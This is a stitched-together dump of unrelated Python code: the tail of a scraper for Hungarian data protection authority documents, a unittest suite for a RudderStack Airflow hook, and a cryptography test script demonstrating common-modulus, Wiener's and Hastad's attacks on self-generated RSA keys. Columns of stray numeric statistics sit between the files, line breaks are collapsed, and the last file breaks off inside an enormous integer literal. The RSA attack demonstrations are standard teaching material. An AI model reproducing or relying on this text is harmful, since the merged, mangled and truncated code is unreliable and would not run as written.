document_response.raise_for_status() except requests.exceptions.HTTPError as error: if to_print: print(error) pass if document_response is None: continue document_content = document_response.content dpa_folder = self.path # document_folder = dpa_folder + '/' + 'Decisions' + '/' + document_hash document_folder = dpa_folder + '/hungary' + '/' + 'Decisions' + '/' + document_hash try: os.makedirs(document_folder) except FileExistsError: pass with open(document_folder + '/' + self.language_code + '.pdf', 'wb') as f: f.write(document_content) with open(document_folder + '/' + self.language_code + '.txt', 'wb') as f: document_text = textract.process(document_folder + '/' + self.language_code + '.pdf') f.write(document_text) with open(document_folder + '/' + 'metadata.json', 'w') as f: metadata = { 'title': { self.language_code: document_title }, 'md5': document_hash, 'releaseDate': date.strftime('%d/%m/%Y'), 'url': document_url } json.dump(metadata, f, indent=4, sort_keys=True, ensure_ascii=False) existed_docs.append(document_hash) dict_hash[document_hash] = date # s0. Pagination pagination = self.update_pagination(pagination=pagination, page_soup=results_soup) return existed_docs def get_docs_Recommendations(self, existing_docs=[], overwrite=False, to_print=True): existed_docs = [] dict_hash = {} pagination = self.update_pagination(start_path="recommendations") # s0. Pagination while pagination.has_next(): page_url = pagination.get_next() if to_print: print('Page:\t', page_url) page_source = self.get_source(page_url=page_url) if page_source is None: continue results_soup = BeautifulSoup(page_source.text, 'html.parser') assert results_soup pd_category = results_soup.find('div', class_='pd-category') for pd_filebox in pd_category.find_all('div', class_='pd-filebox'): pd_filenamebox = pd_filebox.find('div', class_='pd-filenamebox') pd_filename = pd_filenamebox.find('div', class_='pd-filename') pd_float = pd_filename.find('div', class_='pd-float') document_title = pd_float.find('a').get_text() document_hash = hashlib.md5(document_title.encode()).hexdigest() document_href = pd_float.find('a').get('href') pd_fl_m = pd_filebox.find('div', class_='pd-fl-m') date_str = pd_fl_m.get_text() tmp = dateparser.parse(date_str, languages=[self.language_code]) date = datetime.date(tmp.year, tmp.month, tmp.day) if ShouldRetainDocumentSpecification().is_satisfied_by(date) is False: continue print('document_title: ', document_title) print('\tdate: ', date) if document_hash in existing_docs and overwrite == False: if to_print: print('\tSkipping existing document:\t', document_hash) continue if document_hash in dict_hash and dict_hash[document_hash] == date: if to_print: print('\tDocument exist:\t', document_hash) continue host = "https://www.naih.hu" document_url = host + '/' + document_href if to_print: print("\tDocument:\t", document_hash) document_response = None try: document_response = requests.request('GET', document_url) document_response.raise_for_status() except requests.exceptions.HTTPError as error: if to_print: print(error) pass if document_response is None: continue document_content = document_response.content dpa_folder = self.path # document_folder = dpa_folder + '/' + 'Recommendations' + '/' + document_hash document_folder = dpa_folder + '/hungary' + '/' + 'Recommendations' + '/' + document_hash try: os.makedirs(document_folder) except FileExistsError: pass with open(document_folder + '/' + self.language_code + '.pdf', 'wb') as f: f.write(document_content) with open(document_folder + '/' + self.language_code + '.txt', 'wb') as f: document_text = textract.process(document_folder + '/' + self.language_code + '.pdf') f.write(document_text) with open(document_folder + '/' + 'metadata.json', 'w') as f: metadata = { 'title': { self.language_code: document_title }, 'md5': document_hash, 'releaseDate': date.strftime('%d/%m/%Y'), 'url': document_url } json.dump(metadata, f, indent=4, sort_keys=True, ensure_ascii=False) existed_docs.append(document_hash) dict_hash[document_hash] = date # s0. Pagination pagination = self.update_pagination(pagination=pagination, page_soup=results_soup) return existed_docs def get_docs_Notices(self, existing_docs=[], overwrite=False, to_print=True): existed_docs = [] dict_hash = {} pagination = self.update_pagination(start_path="notices") # s0. Pagination while pagination.has_next(): page_url = pagination.get_next() if to_print: print('Page:\t', page_url) page_source = self.get_source(page_url=page_url) if page_source is None: continue results_soup = BeautifulSoup(page_source.text, 'html.parser') assert results_soup pd_category = results_soup.find('div', class_='pd-category') for pd_filebox in pd_category.find_all('div', class_='pd-filebox'): pd_filenamebox = pd_filebox.find('div', class_='pd-filenamebox') pd_filename = pd_filenamebox.find('div', class_='pd-filename') pd_float = pd_filename.find('div', class_='pd-float') document_title = pd_float.find('a').get_text() document_hash = hashlib.md5(document_title.encode()).hexdigest() document_href = pd_float.find('a').get('href') pd_fl_m = pd_filebox.find('div', class_='pd-fl-m') date_str = pd_fl_m.get_text() tmp = dateparser.parse(date_str, languages=[self.language_code]) date = datetime.date(tmp.year, tmp.month, tmp.day) if ShouldRetainDocumentSpecification().is_satisfied_by(date) is False: continue print('document_title: ', document_title) print('\tdate: ', date) if document_hash in existing_docs and overwrite == False: if to_print: print('\tSkipping existing document:\t', document_hash) continue if document_hash in dict_hash and dict_hash[document_hash] == date: if to_print: print('\tDocument exist:\t', document_hash) continue host = "https://www.naih.hu" document_url = host + '/' + document_href if to_print: print("\tDocument:\t", document_hash) document_response = None try: document_response = requests.request('GET', document_url) document_response.raise_for_status() except requests.exceptions.HTTPError as error: if to_print: print(error) pass if document_response is None: continue document_content = document_response.content dpa_folder = self.path # document_folder = dpa_folder + '/' + 'Notices' + '/' + document_hash document_folder = dpa_folder + '/hungary' + '/' + 'Notices' + '/' + document_hash try: os.makedirs(document_folder) except FileExistsError: pass with open(document_folder + '/' + self.language_code + '.pdf', 'wb') as f: f.write(document_content) with open(document_folder + '/' + self.language_code + '.txt', 'wb') as f: document_text = textract.process(document_folder + '/' + self.language_code + '.pdf') f.write(document_text) with open(document_folder + '/' + 'metadata.json', 'w') as f: metadata = { 'title': { self.language_code: document_title }, 'md5': document_hash, 'releaseDate': date.strftime('%d/%m/%Y'), 'url': document_url } json.dump(metadata, f, indent=4, sort_keys=True, ensure_ascii=False) existed_docs.append(document_hash) dict_hash[document_hash] = date # s0. Pagination pagination = self.update_pagination(pagination=pagination, page_soup=results_soup) return existed_docs def get_docs_Resolutions(self, existing_docs=[], overwrite=False, to_print=True): existed_docs = [] dict_hash = {} pagination = self.update_pagination(start_path="resolutions") # s0. Pagination while pagination.has_next(): page_url = pagination.get_next() if to_print: print('Page:\t', page_url) page_source = self.get_source(page_url=page_url) if page_source is None: continue results_soup = BeautifulSoup(page_source.text, 'html.parser') assert results_soup pd_category = results_soup.find('div', class_='pd-category') for pd_filebox in pd_category.find_all('div', class_='pd-filebox'): pd_filenamebox = pd_filebox.find('div', class_='pd-filenamebox') pd_filename = pd_filenamebox.find('div', class_='pd-filename') pd_float = pd_filename.find('div', class_='pd-float') document_title = pd_float.find('a').get_text() document_hash = hashlib.md5(document_title.encode()).hexdigest() document_href = pd_float.find('a').get('href') pd_fl_m = pd_filebox.find('div', class_='pd-fl-m') date_str = pd_fl_m.get_text() tmp = dateparser.parse(date_str, languages=[self.language_code]) date = datetime.date(tmp.year, tmp.month, tmp.day) if ShouldRetainDocumentSpecification().is_satisfied_by(date) is False: continue print('document_title: ', document_title) print('\tdate: ', date) if document_hash in existing_docs and overwrite == False: if to_print: print('\tSkipping existing document:\t', document_hash) continue if document_hash in dict_hash and dict_hash[document_hash] == date: if to_print: print('\tDocument exist:\t', document_hash) continue host = "https://www.naih.hu" document_url = host + '/' + document_href if to_print: print("\tDocument:\t", document_hash) document_response = None try: document_response = requests.request('GET', document_url) document_response.raise_for_status() except requests.exceptions.HTTPError as error: if to_print: print(error) pass if document_response is None: continue document_content = document_response.content dpa_folder = self.path # document_folder = dpa_folder + '/' + 'Resolutions' + '/' + document_hash document_folder = dpa_folder + '/hungary' + '/' + 'Resolutions' + '/' + document_hash try: os.makedirs(document_folder) except FileExistsError: pass with open(document_folder + '/' + self.language_code + '.pdf', 'wb') as f: f.write(document_content) with open(document_folder + '/' + self.language_code + '.txt', 'wb') as f: document_text = textract.process(document_folder + '/' + self.language_code + '.pdf') f.write(document_text) with open(document_folder + '/' + 'metadata.json', 'w') as f: metadata = { 'title': { self.language_code: document_title }, 'md5': document_hash, 'releaseDate': date.strftime('%d/%m/%Y'), 'url': document_url } json.dump(metadata, f, indent=4, sort_keys=True, ensure_ascii=False) existed_docs.append(document_hash) dict_hash[document_hash] = date # s0. Pagination pagination = self.update_pagination(pagination=pagination, page_soup=results_soup) return existed_docs def get_docs_AnnualReports(self, existing_docs=[], overwrite=False, to_print=True): existed_docs = [] dict_hash = {} pagination = self.update_pagination(start_path='annualReports') # s0. Pagination while pagination.has_next(): page_url = pagination.get_next() if to_print: print('Page:\t', page_url) page_source = self.get_source(page_url=page_url) if page_source is None: continue results_soup = BeautifulSoup(page_source.text, 'html.parser') assert results_soup pd_category = results_soup.find('div', class_='pd-category') for pd_filebox in pd_category.find_all('div', class_='pd-filebox'): pd_filenamebox = pd_filebox.find('div', class_='pd-filenamebox') pd_filename = pd_filenamebox.find('div', class_='pd-filename') pd_float = pd_filename.find('div', class_='pd-float') document_title = pd_float.find('a').get_text() document_hash = hashlib.md5(document_title.encode()).hexdigest() document_href = pd_float.find('a').get('href') pd_fl_m = pd_filebox.find('div', class_='pd-fl-m') date_str = pd_fl_m.get_text() tmp = dateparser.parse(date_str, languages=[self.language_code]) date = datetime.date(tmp.year, tmp.month, tmp.day) if ShouldRetainDocumentSpecification().is_satisfied_by(date) is False: continue print('document_title: ', document_title) print('\tdate: ', date) if document_hash in existing_docs and overwrite == False: if to_print: print('\tSkipping existing document:\t', document_hash) continue if document_hash in dict_hash and dict_hash[document_hash] == date: if to_print: print('\tDocument exist:\t', document_hash) continue host = "https://www.naih.hu" document_url = host + '/' + document_href if to_print: print("\tDocument:\t", document_hash) document_response = None try: document_response = requests.request('GET', document_url) document_response.raise_for_status() except requests.exceptions.HTTPError as error: if to_print: print(error) pass if document_response is None: continue document_content = document_response.content dpa_folder = self.path # document_folder = dpa_folder + '/' + 'Annual Reports' + '/' + document_hash document_folder = dpa_folder + '/hungary' + '/' + 'Annual Reports' + '/' + document_hash try: os.makedirs(document_folder) except FileExistsError: pass with open(document_folder + '/' + self.language_code + '.pdf', 'wb') as f: f.write(document_content) with open(document_folder + '/' + self.language_code + '.txt', 'wb') as f: document_text = textract.process(document_folder + '/' + self.language_code + '.pdf') f.write(document_text) with open(document_folder + '/' + 'metadata.json', 'w') as f: metadata = { 'title': { self.language_code: document_title }, 'md5': document_hash, 'releaseDate': date.strftime('%d/%m/%Y'), 'url': document_url } json.dump(metadata, f, indent=4, sort_keys=True, ensure_ascii=False) existed_docs.append(document_hash) dict_hash[document_hash] = date # s0. Pagination pagination = self.update_pagination(pagination=pagination, page_soup=results_soup) return existed_docs

50.840081

105

0.547681

2,537

25,115

5.149389

0.073315

0.055113

0.022964

0.027863

0.842697

0.830603

0.811696

0.81139

0.807869

0

0.001728

0.354768

25,115

494

106

50.840081

0.804443

0.024089

0

0.807359

0

0.083816

0.010452

0

0.012987

1

0.019481

false

0.02381

0.034632

0

0.080087

0.160173

0

null

0

1

0

1

0

null

0

7

50772a14acdd51eba13903c7fc77e9749996ea24

6,414

py

Python

rudder_airflow_provider/test/hooks/test_rudderstack_hook.py

rudderlabs/rudder-airflow-provider

e65fabc08522c5f39edf911dde9454cf6c028b0c

[ "MIT" ]

null

rudder_airflow_provider/test/hooks/test_rudderstack_hook.py

rudderlabs/rudder-airflow-provider

e65fabc08522c5f39edf911dde9454cf6c028b0c

[ "MIT" ]

null

rudder_airflow_provider/test/hooks/test_rudderstack_hook.py

rudderlabs/rudder-airflow-provider

e65fabc08522c5f39edf911dde9454cf6c028b0c

[ "MIT" ]

null

import unittest from unittest import mock from airflow.exceptions import AirflowException from airflow.models.connection import Connection from requests.models import Response from rudder_airflow_provider.hooks.rudderstack import RudderstackHook class RudderstackHookTest(unittest.TestCase): @mock.patch('rudder_airflow_provider.hooks.rudderstack.HttpHook.get_connection') def test_get_access_token(self, mocked_http: mock.Mock): rudder_connection = Connection(password='some-password') mocked_http.return_value = rudder_connection hook = RudderstackHook('rudderstack_connection', '12345') self.assertEqual(hook.get_access_token(), 'some-password') @mock.patch('rudder_airflow_provider.hooks.rudderstack.HttpHook.get_connection') @mock.patch('rudder_airflow_provider.hooks.rudderstack.HttpHook.run') def test_trigger_sync(self, mock_run: mock.Mock, mock_connection: mock.Mock): source_id = 'some-source-id' access_token = 'some-password' hook = RudderstackHook('rudderstack_connection', source_id) mock_connection.return_value = Connection(password=access_token) sync_endpoint = f"/v2/sources/{source_id}/start" start_resp = Response() start_resp.status_code = 204 mock_run.return_value = start_resp hook.trigger_sync() expected_headers = { 'authorization': f"Bearer {access_token}", 'Content-Type': 'application/json' } mock_run.assert_called_once_with(endpoint=sync_endpoint, headers=expected_headers, extra_options={'check_response': False}) @mock.patch('rudder_airflow_provider.hooks.rudderstack.HttpHook.get_connection') @mock.patch('rudder_airflow_provider.hooks.rudderstack.HttpHook.run') def test_trigger_sync_conflict_status(self, mock_run: mock.Mock, mock_connection: mock.Mock): source_id = 'some-source-id' access_token = 'some-password' hook = RudderstackHook('rudderstack_connection', source_id) mock_connection.return_value = Connection(password=access_token) sync_endpoint = f"/v2/sources/{source_id}/start" start_resp = Response() start_resp.status_code = 409 mock_run.return_value = start_resp hook.trigger_sync() expected_headers = { 'authorization': f"Bearer {access_token}", 'Content-Type': 'application/json' } mock_run.assert_called_once_with(endpoint=sync_endpoint, headers=expected_headers, extra_options={'check_response': False}) @mock.patch('rudder_airflow_provider.hooks.rudderstack.HttpHook.get_connection') @mock.patch('rudder_airflow_provider.hooks.rudderstack.HttpHook.run') def test_trigger_sync_error_status(self, mock_run: mock.Mock, mock_connection: mock.Mock): source_id = 'some-source-id' access_token = 'some-password' hook = RudderstackHook('rudderstack_connection', source_id) mock_connection.return_value = Connection(password=access_token) sync_endpoint = f"/v2/sources/{source_id}/start" start_resp = Response() start_resp.status_code = 500 mock_run.return_value = start_resp self.assertRaises(AirflowException, hook.trigger_sync) expected_headers = { 'authorization': f"Bearer {access_token}", 'Content-Type': 'application/json' } mock_run.assert_called_once_with(endpoint=sync_endpoint, headers=expected_headers, extra_options={'check_response': False}) @mock.patch('rudder_airflow_provider.hooks.rudderstack.HttpHook.get_connection') @mock.patch('rudder_airflow_provider.hooks.rudderstack.HttpHook.run') def test_triger_sync_exception(self, mock_run: mock.Mock, mock_connection: mock.Mock): source_id = 'some-source-id' access_token = 'some-password' mock_connection.return_value = Connection(password=access_token) mock_run.side_effect = AirflowException() hook = RudderstackHook('rudderstack_connection', source_id) self.assertRaises(AirflowException, hook.trigger_sync) @mock.patch('rudder_airflow_provider.hooks.rudderstack.HttpHook.get_connection') @mock.patch('rudder_airflow_provider.hooks.rudderstack.HttpHook.run') def test_poll_status(self, mock_run: mock.Mock, mock_connection: mock.Mock): source_id = 'some-source-id' access_token = 'some-password' status_endpoint = f"/v2/sources/{source_id}/status" finished_status_response = Response() finished_status_response.status_code = 200 finished_status_response.json = mock.MagicMock(return_value={'status': 'finished'}) mock_run.return_value = finished_status_response mock_connection.return_value = Connection(password=access_token) hook = RudderstackHook('rudderstack_connection', source_id) hook.poll_for_status() expected_headers = { 'authorization': f"Bearer {access_token}", 'Content-Type': 'application/json' } mock_run.assert_called_once_with(endpoint=status_endpoint, headers=expected_headers) @mock.patch('rudder_airflow_provider.hooks.rudderstack.HttpHook.get_connection') @mock.patch('rudder_airflow_provider.hooks.rudderstack.HttpHook.run') def test_poll_status_failure(self, mock_run: mock.Mock, mock_connection: mock.Mock): source_id = 'some-source-id' access_token = 'some-password' status_endpoint = f"/v2/sources/{source_id}/status" finished_status_response = Response() finished_status_response.status_code = 200 finished_status_response.json = mock.MagicMock( return_value={'status': 'finished', 'error': 'some-eror'}) mock_run.return_value = finished_status_response mock_connection.return_value = Connection(password=access_token) hook = RudderstackHook('rudderstack_connection', source_id) self.assertRaises(AirflowException, hook.poll_for_status) expected_headers = { 'authorization': f"Bearer {access_token}", 'Content-Type': 'application/json' } mock_run.assert_called_once_with(endpoint=status_endpoint, headers=expected_headers) if __name__ == '__main__': unittest.main()

50.904762

131

0.709853

723

6,414

5.973721

0.117566

0.042602

0.068071

0.084279

0.877749

0.863857

0.84765

0.835147

0

0.004817

0.190833

6,414

125

132

51.312

0.82736

0

0.696429

0

0.261147

0.168382

0

0.080357

1

0.0625

false

0.125

0.053571

0

0.125

0

null

0

1

0

null

0

1

0

7

509858ea1a355ca7dda993c0133ff46f999dd747

321,116

py

Python

test.py

Otach/cryptools

c53932110b71289dc56885ef7ed44d24e569d5fb

[ "MIT" ]

44

2017-02-20T11:31:50.000Z

2021-09-20T03:13:28.000Z

test.py

Otach/cryptools

c53932110b71289dc56885ef7ed44d24e569d5fb

[ "MIT" ]

null

test.py

Otach/cryptools

c53932110b71289dc56885ef7ed44d24e569d5fb

[ "MIT" ]

9

2017-03-11T22:56:30.000Z

2021-09-06T06:52:29.000Z

from cryptools import * import sys import random import gmpy def rsa_test(): p = 997147 q = 876331 n = p * q m = "hoge" rsa = RSA(65537, n, p, q) c = rsa.encrypt(bytes_to_long(m)) print c flag = rsa.decrypt(c) print long_to_bytes(flag) def common_mod_test(): n = 0x00d91f0102279d099a9aa3a819faefef8e39e71075c5ed59275ae33fd16f10c6b120fbc14f2b0e85b09b7372853c22b359fb4b850e0b66da55585e1221bc23d4a84bc0cce1c1f1c080c74520c3f7cb2d041bc2c372ae96a3b9344dc00b00a75873fd339121804b39b74969ceab850a5ce8c65860fa1e7cfafb052e994a832198ece195ee8bb427a04609b69f052b1d2818741604e2d1fc95008961365f0536f1d3d12b11f3b56f55aa478b18cc5e74918869d9ef8935ce29c66ac5abdde9cc44b8a33c4a3c057624bee9bdfeb8e296798c377110e2209b68fc500d872fd847fe0a7b41c6826b4db3645133a497424b5c111fc661e320b024bccf4b8120847fc92d e1 = 65537 e2 = 257 m = 1234567890123456789012345678901234567890 c1 = pow(m, e1, n) c2 = pow(m, e2, n) print common_modulus_attack(c1, c2, e1, e2, n) def wieners_test(): n = 0x00d91f0102279d099a9aa3a819faefef8e39e71075c5ed59275ae33fd16f10c6b120fbc14f2b0e85b09b7372853c22b359fb4b850e0b66da55585e1221bc23d4a84bc0cce1c1f1c080c74520c3f7cb2d041bc2c372ae96a3b9344dc00b00a75873fd339121804b39b74969ceab850a5ce8c65860fa1e7cfafb052e994a832198ece195ee8bb427a04609b69f052b1d2818741604e2d1fc95008961365f0536f1d3d12b11f3b56f55aa478b18cc5e74918869d9ef8935ce29c66ac5abdde9cc44b8a33c4a3c057624bee9bdfeb8e296798c377110e2209b68fc500d872fd847fe0a7b41c6826b4db3645133a497424b5c111fc661e320b024bccf4b8120847fc92d e = 0x470a2650f57fed98dbde75761701a2b2711c668dcaf1f58c1e87bd1ff21b19ca107bbf8ae7cfdd31e991a6900aa2e4f24ab20fa291fb014a7a7dc73df4726a057a222aa331726cf9b9ebb22e8b8812025340ed1bdf882eef353f009cbf20c1be0e6231c8021d63e82f66c94118cefb1fd3c155bede6037f822992b8e37cd6a1b011aec6dfeb63079030e1af7fabf53bb625a7c58aceaa5805b59495989965cd62440acaa326bb90ba5d315845ad295eced02a8aca56f479c7ed97cb8dbb48b89366cb0467fa77ddfccfd09d428bc4aa6f5170e68a7c219b4c8bd032dc13946e2e1ab5d18e41eddd2dad1d8cef5e7f45dcd9ada2c696dc16f7510b155d7b72c35 m = 1234567890123456789012345678901234567890 c = pow(m, e, n) print m d = wieners_attack(e, n) print "found d: %d" % d m = pow(c, d, n) print m def hasdats_test(): m = 1234567890123456789012345678901234567890 e = 17 print "collecting e=%d pairs of (c, n)" % e pairs = [] for i in xrange(e): p = random_prime(1024) q = random_prime(1024) n = p*q c = pow(m, e, n) pairs.append((n, c)) print m print hastads_broadcast_attack(e, pairs) def multi_test(): e = 65537 n = 64235787309160346376473486934540811678282337065953936174034972123197212785314236007198937992060312696299752280451968603161104692321843879265641391971247930279649646339234367753848621261729408580763892794815038291956336942363887054033177965305559773542940563545813969364355436506260984205342843133595362962124190680264456538329506271543738163968010838252696900047494360073132460742831364382299691856524473555391429319779710429348559260130266109364719974167958592036874336437343393951807312530828681447499480669825812074087009514475433971623974833010156429411274412496738402928443049342044055402840186488447936405027258789132669753120493463057894698207110842081216129987938456533733336963045281152157343692533666841654494688977084525176877840603840176419527477311173170815020903223368110382884075439539226506683033724884273333990689335902990673709281589001240894704778472402576078496433664254616529448912678691702614777892365465955677101452559466225448946639681643906434857065581423014207315833447826720357859396425495336560678573738131728537700545903026925176704187717780206037914019866823530389712223623285957585780446619612466170031053315921783472092614295265924255448776535088877387837085620542599519330497339640528674941491051223178085517880166389803902238940122240343491543077383822893098376780721042017571212889018921643008852866035724503456883677338747216180285296262162272868750329571169447659668628806730988307729394003434660272848825098572916284184687818016329072528601953823316207421552863617999147730966977368239194339257612909899834518268311569814651026770968563307524284413232417432499736286394228806536912574115988000771426344606614245941287678768791799611666921454790533626965156598385574975205066164549484429062211665306334071936395881070566086878825517308961185569123235323757931561982496385949486893593563707328271651836972818219941438722239617596414917297181690295488016926751226879264644894523355884005348434900190620562578751805194281731526103635868480458756788764302597775067547717504423081409436749882150788320422866409554465213060705599559201223325621601283903363585339229796304157175101472739467382065223290933338056520249952502136921418730145037384842057941712591223195873972061623657458298920683516816773792598142563371947125601393347504183787320436053998413890901322889274178976072558004129806148039883943875324251511461023428398505418945154252875166369357601102875956087951994813898181488410528825034322417254596481616375405101522914694080294593177775988081478428512580570962602605759234357559121653044139107662669511736999826038120440306489877084159015617957893541423070171086774812883536615915261447837573785691023671847110165935310260669374293410592165716391374272596390554792361188995820585653369062078749290028307209894992662084191395263469253247033421458871330223514038636109408178230060828865577872726758131821475531841688007866027476228498933146292792524584481127302463458364638182188256536148226814237674485659145378378722564992492697932258468610746504021859541060146198283573340441938949561506568113843494903659640925703895143808932135819067372111642670054980048769232297600738533305447983074977812230282556318968608838142764694330431525342321917603480109747819414614366788720572343168226187601959309027648419436657131063811371340169746739679199116557526422482358282556848369621751267346386788570495367539464643526042063913011885535306001954916298362886517740301382223214590405734105585713775431536117549202630938173236341802823519152616789433205760207901540178539046866087617907508820826020410592861499265784437411301962792281429027872834294353374047721114456091157034735933537324845807424724070021049737880605126144456990827491999432931027312439631363323270675352934905351361835733619607924099062532805669163428701998004166094152783616035398673848714355125066734341234305998944243830686348401215816971044299782531472657947968039640258104029294240017027745369362246466156506849327056470882517624501775635491172171186618700842206998774072414413244111059298883103367047325590980407708964254827318979211217211255167687935578262073714954577758245331067181770510637638475944190281029024887409507856806342880654172841260377335854452629356076607180726467627432686583550044222639815676584799578685223015338398642032422944376586247409839119251804815783676753209201731246722063987225858879668502387195866645420636751772465951648575031647716750524337453021359812816771083196379728873613193807636662427590881517261497086511464695543072157219566254175259380781904889723267359920827110645079147821655038173646595703708588310109948590013901509387075134104608656491550467157153156441505881135002721148922705043663452754678262068047865411183238145426600642679859520119567589270529513093403873813281789565361541086892561902035032257276064882376391516677288822348035165966524607943226744237063839435118645787711906634560210244235613208683942236068290328605653042245902415367827749379996796125893380174207400044867320463473591200275401941457400161536823403590619035592690561075522604265145800113327596149022048519547613014675231768615431164894288887546514050338841956809795656321811556423060351910421639663818730025555279325070457339684676596026434476373544963822347246849741861801377415609117504821378040473033914086956574147040126458754359852084316522786907930524596848650400140985321927813351412015465236785413624832138785140541432263801518716011089745519384654840368302354895514525331551789640576741388295178720539809065377456715270914373524738609243742401182566373143741345476465158543491973476970247945033751422846362893838289014999774917470818119527769592890008515195692522366278812230687441927558830355242991161398000707005355327266919944253266964094397965076905087424743796005430996687876678942919512829016780042950862354585686077406484766215791599091963364387766984305102600273500522478899954169507367090419721069777832500990490666516541232845475301741746315926276699312147837155794996600492857513020063729871056061535242720677292898069249825613178874703876100526630575180200033544939354927183844392311989804089806178728515367466410645337581138248332560409648201280443732927534902705713184905406814166180505858705392420588642019482595749960838415120252839934112660338505610333768400123935300711512266050480100525819344888050997910957156923183090513798526982931755621024016757746671849099972878687280251944589494894841545477766884717880856049830704357792645886078139901883705875169684691446900141852826363023531665791081504425294505029920287260763439683733776172327135248899893239193553450321340700864957606091359957161484448007152887368276614215905759312908165740267598254359289634038002390383204630507234181469711421497577912573623953141205464130532120613603819836689725687025781261199278570754062079340039708128462195815000372944082309085678307055451469526193549579269430662162850408198839014359599921528350242154524100724114132630876009556505870944619106700444376175539373826436299613881447371505357967823649608424424890884263839267089424154206948715131347848894930686272543766983387958696130783375793334101678990022074094399500660606366108769210306178365360982935893469513148799264294419866552665061117680853106921964231599812690222104437788514482222383251473357483645753968879057556746149518694564711395841881315192859161044415034120074290032230228899520075598043064532909211106664980558982237150330449215999709706232072469304615952947332748265977012120513096027370255371965813076281400292752734599463376188593083983664684329862213646287824679113298357970465908442005885649966924406732931691861315750001935152658915106836087246515865456054915739470510712238807023980555202876487952178297124553347728394051837433847360216667486532748729225200081007527688753705577094509398582529124715624095125216265190495020622398266768930711562031141680866835871742663961976767544028016926247224062848082624068637783975824839417051604808557645869489405062725239622515448547906074648528408563895115774639430815887184435370903480295974573723026120056088183177368965679552952635902353596110445993460080991699698237128475109248217042930866971728789251881626134744497955683170876494528725735684016108596349542557445735528831087606704985171474803209080621619352185441414507870598903634412298419833593923467850614280953478528599972702294550428124282414913746597911958849736332668899905661187885538917909229552063146374510073398845400630435724839629730164827248150369252849401599286357086839200681485599091067279945271719062926942802947415840309905633797201154265857561371526891199405415501259732286938778408570948215711344450374086569647105689445778441473745347399598915975661947830523594672425322628545086886571909079903119484495532703804919577675659706858312709805894401885626496125313810934377011629085328629859980199816217329928513644711610401143311504206236811766125376313911837303681928254891166476622255092768833465918273149633053560668184253070860128736958881510627468244203992449975309292507586541145883335347775449062003717390084684121339960608050614969644346033053308606724002596693301899639477029888522610761886862214634261149936180816680022622951308851660972512844198324794452890629555895857950881960764912802358396926771074026419467369085702573091615202684921924507098524000685207815902283306598779756853962634956178106692759360580125246875522062207336950967615381547264514722329783172008427296015570512651530660156947330454564352966340550369406447211972185068124195565980667282234112135252541075779827607615777124666001087681503280659928279930851683890450797532582932282058937302746877387000776779606436982604553297261171438640881128724766506498496629473522905186476611780025804160924795749324908751883979256504008574420523426688485062186223278370010325282335441080901528617263369704079897426642548720047425460209019216640428302156732366705808217177386657024884765268129264181610066245902454452943818600999044261152035732941144462581402623529315703002965466751073362748207971756548454369005069159048596067125560503625973170595046365950623349337165676450093530725122273162691865075079240095192389615442923518748497309299041701325766657006157355675991754971987686033595219071157059857612552491562992834628929210985259877081707271616575050482702708462449618984315911167201880621560820644282330812182013711762835238034812696181509801729122203304002725539969423700805778859608112368597561529526324488620996512344305831207875218381853823162913450993276822158383121794472705089131828931508798493808860362306180792977553829447870039842741998156111699383101363853673481534833704864289793075932758044521864909001082978375273528358300984461152277583698826848477071604356730720045524045161084916791570610235957079866641989281138782831223238134723724945329659862918932522549234846100924801217145727398468753492184016044874040295942851779474563706566222019772533547174628018637249462168050560267906675115201124222252326508542577328419041253146048886633257736068152125439056432533907451046042102255787339094586200509153531437722370858049685243120175557076228445630253876187545772271812850843251132905047759689735988768455569104407496599267735743480738686833046945624274890824591320405849435276352777504959703167777074998258106710135484089014553795490557913608692698656683676813644153785444591119296947549592899272602790486165651920178772890638270628261660564939234734342220296850314037225982120436855546961702150213921756387499334527827853397355439099991646877431762357893510055904947282201568981786313036398117268030917604986435069017164300942210498745560719421420439841047778731565616208545299647680659626826180570610883846129111005811089137813119552226602307741617998867319897721498243651394443002077625132259372772440518316220854596559038991720229202358619148637613295508231820403640591448637514310026915131829434300650322408494005983820015059996615241125792614553328371777216205001234607918994175396358692983748985348626129996109833737028778001539857712007304617797384883532824363765847141230989693897244031220583441557924710837084327270692782035804315108024233811002156525468422725490967066957659147328396643778827844019905546226085891630065313666341913643785347298254026277409662413581130542205255697020671574391497722552049571310130152086682976358037843468448281024765415001395968493708629062673615237346102563199172416286424777762215459504948850935312609518332461448046167490829425581176742234305841775492851488260373710989892749397424710964555179651372847869862587692737646121128799303155581023173509783859486499295100001829054308976186014114620592092764342655103175287717196278462253255862381854788673006918089497411485032223239223639262952095782936506393460084154838386888968641024377751764824634042457187717583459909411938646413196890456900845067649598040016968032100884187087947902886911859736702283381306749512024934876466782199013986365805285371491758360501991027922600908486457124698210878502650841274204758326007197494063362623670704850391587089942477244966817604365190373959422421231151675554590321575629518308730795039408860258493796490437052963594430300466915522075574758185883335934941536218556852480955129882136513938037046344227883806877448076381423096357517290037082684393487205620312438688319886379394703953718338437432399899109516361664233394135600713578272742947545465386957571522424802958586048865155777663719763179984640488355629253254275201979376658194675445450441523454838645200653553477508722321437507102407793011040018324566945583597868085247509121653382504020609273646583527241166028131463673184556006171791553030817111127837534476303216335547219929668844343218847051658182754986157776815891248315501279529612400605470593637664594989836864513005541849134137015618320336678690561838734422567707809949328511519530600903486410675830262407637094667138020308652045978852897573473723849026373129549926068231563337416244174819650206541678766498830850909285149915910675233958087471147380222899046440672185822066242891348595129589671138112812132753793976654430021945335111718466427875516620774415928348926208325949154623163857133769378605461945301273015603058115035567179262951833805966473352660916629671009824947681558207367038783169362017378229707494123131564967995991084646633397895046250560173583903263180388582341762486932572987419650045597445632247630246322924041775246825592402918860817300322242689679577463960033610402062615201719687111252750070003233020989066309430290594455587168540821367078950099495297829262374712080389672689609600152834956786795229225116423213147135570212594319304965262603760369562763931675623147031003974706454080217075579911363150286518971507869659862301248029044380668987167320325826181273357488064177139941449329329653109172391003394551846666642122629672560150372160805535908706166059277822624212200962546042891768581359205341130681634444110032598693823033887141114227098574249131019204429905686081322720639688952462855980294177346992515761957593604162590817553039440855707789585466754306487477276989381137892645680771556492504826663565224120862906980405701394664111849368033318652210477100612247197219978033832764274422817926350610198553321997832440382105292362591786752253969279809221675013688568536904310410678502579869150130971036334567877730492017681854032739238903817147018598736609732689125289620836076288170642344469936849289523836254706563426395246010358275770065562540063518349330546439159654457645095036455644193341016745604283067071360554407574803257871348955211705974549108075498686193899941788872533077519738439442777462448050678557684799555521300090053385361439155318751776400466082856513461695206455923432130697583264264665544920564163917939963695777946553342996191324619292159434509890550354033858448630345959952390307351925567631208454220625864439048728411279519444048287161653796769466181064137651972357311744016866232442774929124068821951481036162110336029692917165524125232107572489745820653544096560853295760288365208